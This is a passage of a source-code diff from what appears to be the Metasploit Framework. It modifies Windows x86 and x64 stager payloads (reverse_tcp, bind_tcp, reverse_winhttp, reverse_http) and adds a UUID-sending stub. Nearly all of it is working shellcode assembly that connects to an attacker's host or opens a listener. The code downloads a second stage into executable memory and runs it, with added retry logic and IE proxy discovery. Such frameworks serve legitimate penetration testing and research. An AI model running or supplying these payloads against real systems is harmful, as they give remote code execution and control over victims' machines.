LoadLibraryA( "ws2_32" ) - mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) - sub esp, eax ; alloc some space for the WSAData structure - push esp ; push a pointer to this stuct - push eax ; push the wVersionRequested parameter - push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) - call ebp ; WSAStartup( 0x0190, &WSAData ); - - create_socket: - push eax ; if we succeed, eax will be zero, push zero for the flags param. - push eax ; push null for reserved parameter - push eax ; we do not specify a WSAPROTOCOL_INFO structure - push eax ; we do not specify a protocol - inc eax ; - push eax ; push SOCK_STREAM - inc eax ; - push eax ; push AF_INET - push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); - xchg edi, eax ; save the socket for later, don't care about the value of eax after this + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call ebp ; WSAStartup( 0x0190, &WSAData ); set_address: - push #{retry_count} ; retry counter - push #{encoded_host} ; host in little-endian format - push #{encoded_port} ; family AF_INET and port number - mov esi, esp ; save pointer to sockaddr struct + push #{retry_count} ; retry counter + + create_socket: + push #{encoded_host} ; host in little-endian format + push #{encoded_port} ; family AF_INET and port number + mov esi, esp ; save pointer to sockaddr struct + + push eax ; if we succeed, eax will be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + push eax ; push SOCK_STREAM + inc eax ; + push eax ; push AF_INET + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this try_connect: - push 16 ; length of the sockaddr struct - push esi ; pointer to the sockaddr struct - push edi ; the socket - push 0x6174A599 ; hash( "ws2_32.dll", "connect" ) - call ebp ; connect( s, &sockaddr, 16 ); + push 16 ; length of the sockaddr struct + push esi ; pointer to the sockaddr struct + push edi ; the socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} + call ebp ; connect( s, &sockaddr, 16 ); - test eax,eax ; non-zero means a failure + test eax,eax ; non-zero means a failure jz connected - handle_failure: - dec dword [esi+8] + handle_connect_failure: + ; decrement our attempt count and try again + dec [esi+8] jnz try_connect - ^ - - if opts[:exitfunk] - asm << %Q^ - failure: - call exitfunk - ^ - else - asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - ^ - end - # TODO: Rewind the stack, free memory, try again -=begin - if opts[:reliable] - asm << %Q^ - reconnect: - - ^ - end -=end - - asm << %Q^ - connected: - - recv: - ; Receive the size of the incoming second stage... - push 0 ; flags - push 4 ; length = sizeof( DWORD ); - push esi ; the 4 byte buffer on the stack to hold the second stage length - push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call ebp ; recv( s, &dwLength, 4, 0 ); - ^ - - # Check for a failed recv() call - # TODO: Try again by jmping to reconnect - if reliable - asm << %Q^ - cmp eax, 0 - jle failure - ^ - end - - asm << %Q^ - ; Alloc a RWX buffer for the second stage - mov esi, [esi] ; dereference the pointer to the second stage length - push 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push esi ; push the newly recieved second stage length. - push 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - ; Receive the second stage and execute it... - xchg ebx, eax ; ebx = our new memory address for the new stage - push ebx ; push the address of the new stage so we can return into it - - read_more: ; - push 0 ; flags - push esi ; length - push ebx ; the current address into our second stage's RWX buffer - push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call ebp ; recv( s, buffer, length, 0 ); ^ - # Check for a failed recv() call - # TODO: Try again by jmping to reconnect - if reliable + if opts[:exitfunk] asm << %Q^ - cmp eax, 0 - jle failure - ^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ end asm << %Q^ - add ebx, eax ; buffer += bytes_received - sub esi, eax ; length -= bytes_received, will set flags - jnz read_more ; continue if we have more to read - ret ; return into the second stage + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + ^ + + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ + recv: + ; Receive the size of the incoming second stage... + push 0 ; flags + push 4 ; length = sizeof( DWORD ); + push esi ; the 4 byte buffer on the stack to hold the second stage length + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, &dwLength, 4, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jle cleanup_socket ^ + end + + asm << %Q^ + ; Alloc a RWX buffer for the second stage + mov esi, [esi] ; dereference the pointer to the second stage length + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; push the newly recieved second stage length. + push 0 ; NULL as we dont care where the allocation is. + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + xchg ebx, eax ; ebx = our new memory address for the new stage + push ebx ; push the address of the new stage so we can return into it + + read_more: + push 0 ; flags + push esi ; length + push ebx ; the current address into our second stage's RWX buffer + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, buffer, length, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jge read_successful + + ; something failed, free up memory + pop eax ; get the address of the payload + push 0x4000 ; dwFreeType (MEM_DECOMMIT) + push 0 ; dwSize + push eax ; lpAddress + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) + + cleanup_socket: + ; clear up the socket + push edi ; socket handle + push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + call ebp ; closesocket(socket) + + ; restore the stack back to the connection retry count + pop esi + pop esi + dec [esp] ; decrement the counter + + ; try again + jmp create_socket + ^ + end + + asm << %Q^ + read_successful: + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received, will set flags + jnz read_more ; continue if we have more to read + ret ; return into the second stage + ^ if opts[:exitfunk] asm << asm_exitfunk(opts) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index bfd9d130fe..be1c5e95b7 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -1,9 +1,6 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/payload/transport_config' -require 'msf/core/payload/windows/block_api' -require 'msf/core/payload/windows/exitfunk' require 'msf/core/payload/windows/reverse_http' module Msf @@ -16,24 +13,31 @@ module Msf module Payload::Windows::ReverseWinHttp - include Msf::Payload::TransportConfig include Msf::Payload::Windows::ReverseHttp + # + # Register reverse_winhttp specific options + # + def initialize(*args) + super + register_advanced_options([ + OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true]) + ], self.class) + end + # # Generate the first stage # def generate(opts={}) conf = { ssl: opts[:ssl] || false, - host: datastore['LHOST'], - port: datastore['LPORT'], - url: generate_small_uri, - retry_count: datastore['StagerRetryCount'] + host: datastore['LHOST'] || '127.127.127.127', + port: datastore['LPORT'] } # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space - conf[:url] = generate_uri + conf[:uri] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -42,6 +46,10 @@ module Payload::Windows::ReverseWinHttp conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] conf[:retry_count] = datastore['StagerRetryCount'] + conf[:proxy_ie] = datastore['PayloadProxyIE'] + else + # Otherwise default to small URIs + conf[:uri] = generate_small_uri end generate_reverse_winhttp(conf) @@ -105,7 +113,7 @@ module Payload::Windows::ReverseWinHttp # Generate an assembly stub with the configured feature set and options. # # @option opts [Bool] :ssl Whether or not to enable SSL - # @option opts [String] :url The URI to request during staging + # @option opts [String] :uri The URI to request during staging # @option opts [String] :host The host to connect to # @option opts [Fixnum] :port The port to connect to # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil @@ -117,9 +125,22 @@ module Payload::Windows::ReverseWinHttp retry_count = [opts[:retry_count].to_i, 1].max verify_ssl = nil encoded_cert_hash = nil - encoded_url = asm_generate_wchar_array(opts[:url]) + encoded_uri = asm_generate_wchar_array(opts[:uri]) encoded_host = asm_generate_wchar_array(opts[:host]) + # this is used by the IE proxy functionality when an autoconfiguration URL + # is specified. We need the full URL otherwise the call to resolve the proxy + # for the URL doesn't work. + full_url = 'http' + full_url << 's' if opts[:ssl] + full_url << '://' << opts[:host] + full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443 + full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80 + full_url << opts[:uri] + + encoded_full_url = asm_generate_wchar_array(full_url) + encoded_uri_index = full_url.rindex('/') * 2 + if opts[:ssl] && opts[:verify_cert_hash] verify_ssl = true encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") @@ -164,6 +185,14 @@ module Payload::Windows::ReverseWinHttp 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE end + ie_proxy_autodect = ( + 0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP + 0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A + + ie_proxy_flags = ( + 0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT + 0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL + asm = %Q^ ; Input: EBP must be the address of 'api_call'. ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) @@ -218,14 +247,34 @@ module Payload::Windows::ReverseWinHttp ^ end + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + push eax ; Session handle is required later for ie proxy + ^ + end + asm << %Q^ WinHttpConnect: push ebx ; Reserved (NULL) push #{opts[:port]} ; Port [3] call got_server_uri ; Double call to get pointer for both server_uri and server_uri: ; server_host; server_uri is saved in edi for later - db #{encoded_url} + ^ + + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + db #{encoded_full_url} got_server_host: + add edi, #{encoded_uri_index} ; move edi up to where the URI starts + ^ + else + asm << %Q^ + db #{encoded_uri} + got_server_host: + ^ + end + + asm << %Q^ push eax ; Session handle returned by WinHttpOpen push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')} call ebp @@ -275,6 +324,86 @@ module Payload::Windows::ReverseWinHttp push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')} call ebp ^ + elsif opts[:proxy_ie] == true + asm << %Q^ + ; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is + ; a 16-byte structure + sub esp, 16 + mov eax, esp ; store a pointer to the buffer + push edi ; store the current URL in case it's needed + mov edi, eax ; put the buffer pointer in edi + push edi ; Push a pointer to the buffer + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')} + call ebp + + test eax, eax ; skip the rest of the proxy stuff if the call failed + jz ie_proxy_setup_finish + + ; we don't care about the "auto detect" flag, as it doesn't seem to + ; impact us at all. + + ; if auto detect isn't on, check if there's an auto configuration URL + mov eax, [edi+4] + test eax, eax + jz ie_proxy_manual + + ; restore the URL we need to reference + pop edx + sub edx, #{encoded_uri_index} ; move edx up to where the full URL starts + + ; set up the autoproxy structure on the stack + push 1 ; fAutoLogonIfChallenged (1=TRUE) + push ebx ; dwReserved (0) + push ebx ; lpReserved (NULL) + push eax ; lpszAutoConfigUrl + push #{ie_proxy_autodect} ; dwAutoDetectFlags + push #{ie_proxy_flags} ; dwFlags + mov eax, esp + + ; prepare space for the resulting proxy info structure + sub esp, 12 + mov edi, esp ; store the proxy pointer + + ; prepare the WinHttpGetProxyForUrl call + push edi ; pProxyInfo + push eax ; pAutoProxyOptions + push edx ; lpcwszUrl + lea eax, [esp+64] ; Find the pointer to the hSession - HACK! + push [eax] ; hSession + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')} + call ebp + + test eax, eax ; skip the rest of the proxy stuff if the call failed + jz ie_proxy_setup_finish + jmp set_ie_proxy ; edi points to the filled out proxy structure + + ie_proxy_manual: + ; check to see if a manual proxy is specified, if not, we skip + mov eax, [edi+8] + test eax, eax + jz ie_proxy_setup_finish + + ; manual proxy present, set up the proxy info structure by patching the + ; existing current user IE structure that is in edi + push 4 + pop eax + add edi, eax ; skip over the fAutoDetect flag + dec eax + mov [edi], eax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY) + + ; fallthrough to set the ie proxy + + set_ie_proxy: + ; we assume that edi is going to point to the proxy options + push 12 ; dwBufferLength (sizeof proxy options) + push edi ; lpBuffer (pointer to the proxy) + push 38 ; dwOption (WINHTTP_OPTION_PROXY) + push esi ; hRequest + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} + call ebp + + ie_proxy_setup_finish: + ^ end if opts[:ssl] diff --git a/lib/msf/core/payload/windows/send_uuid.rb b/lib/msf/core/payload/windows/send_uuid.rb new file mode 100644 index 0000000000..94e0b09e8b --- /dev/null +++ b/lib/msf/core/payload/windows/send_uuid.rb @@ -0,0 +1,54 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' + +module Msf + +### +# +# Basic send_uuid stub for Windows ARCH_X86 payloads +# +### + +module Payload::Windows::SendUUID + + # + # Generate assembly code that writes the UUID to the socket. + # + # This code assumes that the block API pointer is in ebp, and + # the communications socket handle is in edi. + # + def asm_send_uuid(uuid=nil) + uuid ||= generate_payload_uuid + uuid_raw = uuid.to_raw + + asm =%Q^ + send_uuid: + push 0 ; flags + push #{uuid_raw.length} ; length of the UUID + call get_uuid_address ; put uuid buffer on the stack + db #{raw_to_db(uuid_raw)} ; UUID + get_uuid_address: + push edi ; saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')} + call ebp ; call send + ^ + + asm + end + + def uuid_required_size + # Start with the number of bytes required for the instructions + space = 17 + + # a UUID is 16 bytes + space += 16 + + space + end + +end + +end + diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index e9a9633591..52e2cc352e 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/x64/send_uuid' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -17,6 +18,7 @@ module Payload::Windows::BindTcp_x64 include Msf::Payload::TransportConfig include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID_x64 include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 @@ -38,6 +40,18 @@ module Payload::Windows::BindTcp_x64 generate_bind_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def use_ipv6 + false + end + def transport_config(opts={}) transport_config_bind_tcp(opts) end @@ -74,6 +88,11 @@ module Payload::Windows::BindTcp_x64 # Reliability checks add 4 bytes for the first check, 5 per recv check (2) #space += 14 + # 2 more bytes are added for IPv6 + space += 2 if use_ipv6 + + space += uuid_required_size if include_send_uuid + # The final estimated size space end @@ -86,8 +105,18 @@ module Payload::Windows::BindTcp_x64 # @option opts [Bool] :reliable Whether or not to enable error handling code # def asm_bind_tcp(opts={}) - reliable = opts[:reliable] - encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + reliable = opts[:reliable] + addr_fam = 2 + sockaddr_size = 16 + stack_alloc = 408+8+8*6+32*7 + + if use_ipv6 + addr_fam = 23 + sockaddr_size = 28 + stack_alloc += 8*2 # two more rax pushes + end + + encoded_port = "0x%.16x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first asm = %Q^ bind_tcp: @@ -98,58 +127,85 @@ module Payload::Windows::BindTcp_x64 sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData ; structure (+8 for alignment) mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. - mov r12, #{encoded_port} - push r12 ; bind to 0.0.0.0 family AF_INET and port 4444 + xor rax, rax + ^ + + if use_ipv6 + asm << %Q^ + ; IPv6 requires another 12 zero-bytes for the socket structure, + ; so push 16 more onto the stack + push rax + push rax + ^ + end + + asm << %Q^ + push rax ; stack alignment + push rax ; tail-end of the sockaddr_in/6 struct + mov r12, #{encoded_port} + push r12 ; bind to 0.0.0.0/[::] family AF_INET/6 and specified port mov r12, rsp ; save pointer to sockaddr_in struct for bind call + ; perform the call to LoadLibraryA... mov rcx, r14 ; set the param for the library to load - mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call rbp ; LoadLibraryA( "ws2_32" ) + ; perform the call to WSAStartup... mov rdx, r13 ; second param is a pointer to this stuct push 0x0101 ; pop rcx ; set the param for the version requested - mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} call rbp ; WSAStartup( 0x0101, &WSAData ); + ; perform the call to WSASocketA... + push #{addr_fam} ; push AF_INET/6 + pop rcx ; pop family into rcx push rax ; if we succeed, rax wil be zero, push zero for the flags param. push rax ; push null for reserved parameter xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure xor r8, r8 ; we do not specify a protocol inc rax ; mov rdx, rax ; push SOCK_STREAM - inc rax ; - mov rcx, rax ; push AF_INET - mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call rbp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 ); mov rdi, rax ; save the socket for later + ; perform the call to bind... - push 16 ; + push #{sockaddr_size} pop r8 ; length of the sockaddr_in struct (we only set the - ; first 8 bytes as the last 8 are unused) + ; first 8 bytes as the rest aren't used) mov rdx, r12 ; set the pointer to sockaddr_in struct mov rcx, rdi ; socket - mov r10d, 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) - call rbp ; bind( s, &sockaddr_in, 16 ); + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')} + call rbp ; bind( s, &sockaddr_in, #{sockaddr_size} ); + ; perform the call to listen... xor rdx, rdx ; backlog mov rcx, rdi ; socket - mov r10d, 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')} call rbp ; listen( s, 0 ); + ; perform the call to accept... xor r8, r8 ; we set length for the sockaddr struct to zero xor rdx, rdx ; we dont set the optional sockaddr param mov rcx, rdi ; listening socket - mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')} call rbp ; accept( s, 0, 0 ); + ; perform the call to closesocket... mov rcx, rdi ; the listening socket to close mov rdi, rax ; swap the new connected socket over the listening socket - mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} call rbp ; closesocket( s ); - ; restore RSP so we dont have any alignment issues with the next block... - add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations + ; restore RSP so we dont have any alignment issues with the next block... + add rsp, #{stack_alloc} ; cleanup the stack allocations + ^ + + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ recv: ; Receive the size of the incoming second stage... sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length @@ -158,9 +214,10 @@ module Payload::Windows::BindTcp_x64 push 4 ; pop r8 ; length = sizeof( DWORD ); mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call rbp ; recv( s, &dwLength, 4, 0 ); add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next + ; Alloc a RWX buffer for the second stage pop rsi ; pop off the second stage length push 0x40 ; @@ -169,18 +226,21 @@ module Payload::Windows::BindTcp_x64 pop r8 ; MEM_COMMIT mov rdx, rsi ; the newly recieved second stage length. xor rcx, rcx ; NULL as we dont care where the allocation is. - mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... mov rbx, rax ; rbx = our new memory address for the new stage mov r15, rax ; save the address so we can jump into it later + read_more: ; xor r9, r9 ; flags mov r8, rsi ; length mov rdx, rbx ; the current address into our second stages RWX buffer mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call rbp ; recv( s, buffer, length, 0 ); + add rbx, rax ; buffer += bytes_received sub rsi, rax ; length -= bytes_received test rsi, rsi ; test length diff --git a/lib/msf/core/payload/windows/x64/exitfunk.rb b/lib/msf/core/payload/windows/x64/exitfunk.rb index d385fd4baa..5fab3a313f 100644 --- a/lib/msf/core/payload/windows/x64/exitfunk.rb +++ b/lib/msf/core/payload/windows/x64/exitfunk.rb @@ -33,25 +33,11 @@ module Payload::Windows::Exitfunk_x64 ret ; Return to NULL (crash) ^ - # On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread - # on WoW64 processes, instead we need to call RtlExitUserThread. This stub will - # automatically generate the right code depending on the selected exit method. - when 'thread' asm << %Q^ - mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)} - mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) - call rbp ; GetVersion(); (AL will = major version and AH will = minor version) - add rsp, 40 ; cleanup the default param space on stack - cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7 - jl exitfunk_goodbye ; Then just call the exit function... - cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on - ; Windows Vista, 2008 or 7... - jne exitfunk_goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread - exitfunk_goodbye: ; We now perform the actual call to the exit function push 0 ; pop rcx ; set the exit function parameter + mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)} mov r10d, ebx ; place the correct EXITFUNK into r10d call rbp ; call EXITFUNK( 0 ); ^ diff --git a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb index 0194d902d3..4a747a7359 100644 --- a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb @@ -71,7 +71,7 @@ module Payload::Windows::ReflectiveDllInject_x64 ^ end - def stage_payload + def stage_payload(opts = {}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 9462aa3f2f..1813b9922b 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -4,7 +4,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' module Msf @@ -20,7 +20,7 @@ module Payload::Windows::ReverseHttp_x64 include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options # # Register reverse_http specific options @@ -50,7 +50,6 @@ module Payload::Windows::ReverseHttp_x64 ssl: opts[:ssl] || false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, retry_count: datastore['StagerRetryCount'] } @@ -58,11 +57,15 @@ module Payload::Windows::ReverseHttp_x64 unless self.available_space.nil? || required_space > self.available_space conf[:url] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] + conf[:ua] = datastore['MeterpreterUserAgent'] conf[:proxy_host] = datastore['PayloadProxyHost'] conf[:proxy_port] = datastore['PayloadProxyPort'] conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] + else + # Otherwise default to small URIs + conf[:url] = generate_small_uri end generate_reverse_http(conf) diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 110a3a1294..3110f5642e 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/x64/send_uuid' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -17,6 +18,7 @@ module Payload::Windows::ReverseTcp_x64 include Msf::Payload::TransportConfig include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID_x64 include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 @@ -47,17 +49,25 @@ module Payload::Windows::ReverseTcp_x64 generate_reverse_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + # # Generate and compile the stager # def generate_reverse_tcp(opts={}) combined_asm = %Q^ - cld ; Clear the direction flag. - and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned - call start ; Call start, this pushes the address of 'api_call' onto the stack. + cld ; Clear the direction flag. + and rsp, ~0xF ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: - pop rbp + pop rbp ; block API pointer #{asm_reverse_tcp(opts)} ^ Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string @@ -74,11 +84,13 @@ module Payload::Windows::ReverseTcp_x64 # Start with our cached default generated size space = cached_size - # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) - space += 31 + # EXITFUNK 'seh' is the worst case, that adds 15 bytes + space += 15 - # Reliability adds 10 bytes for recv error checks - space += 10 + # Reliability adds bytes! + space += 57 + + space += uuid_required_size if include_send_uuid # The final estimated size space @@ -93,7 +105,6 @@ module Payload::Windows::ReverseTcp_x64 # def asm_reverse_tcp(opts={}) - # TODO: reliability coming later reliable = opts[:reliable] retry_count = [opts[:retry_count].to_i, 1].max encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first @@ -102,84 +113,172 @@ module Payload::Windows::ReverseTcp_x64 asm = %Q^ reverse_tcp: - ; setup the structures we need on the stack... + ; setup the structures we need on the stack... mov r14, 'ws2_32' - push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. - mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. - sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData - ; structure (+8 for alignment) - mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. + push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. + mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. + sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData + ; structure (+8 for alignment) + mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. mov r12, #{encoded_host_port} - push r12 ; host, family AF_INET and port - mov r12, rsp ; save pointer to sockaddr struct for connect call - ; perform the call to LoadLibraryA... - mov rcx, r14 ; set the param for the library to load - mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call rbp ; LoadLibraryA( "ws2_32" ) - ; perform the call to WSAStartup... - mov rdx, r13 ; second param is a pointer to this stuct - push 0x0101 ; - pop rcx ; set the param for the version requested - mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) - call rbp ; WSAStartup( 0x0101, &WSAData ); - ; perform the call to WSASocketA... - push rax ; if we succeed, rax wil be zero, push zero for the flags param. - push rax ; push null for reserved parameter - xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure - xor r8, r8 ; we do not specify a protocol - inc rax ; - mov rdx, rax ; push SOCK_STREAM - inc rax 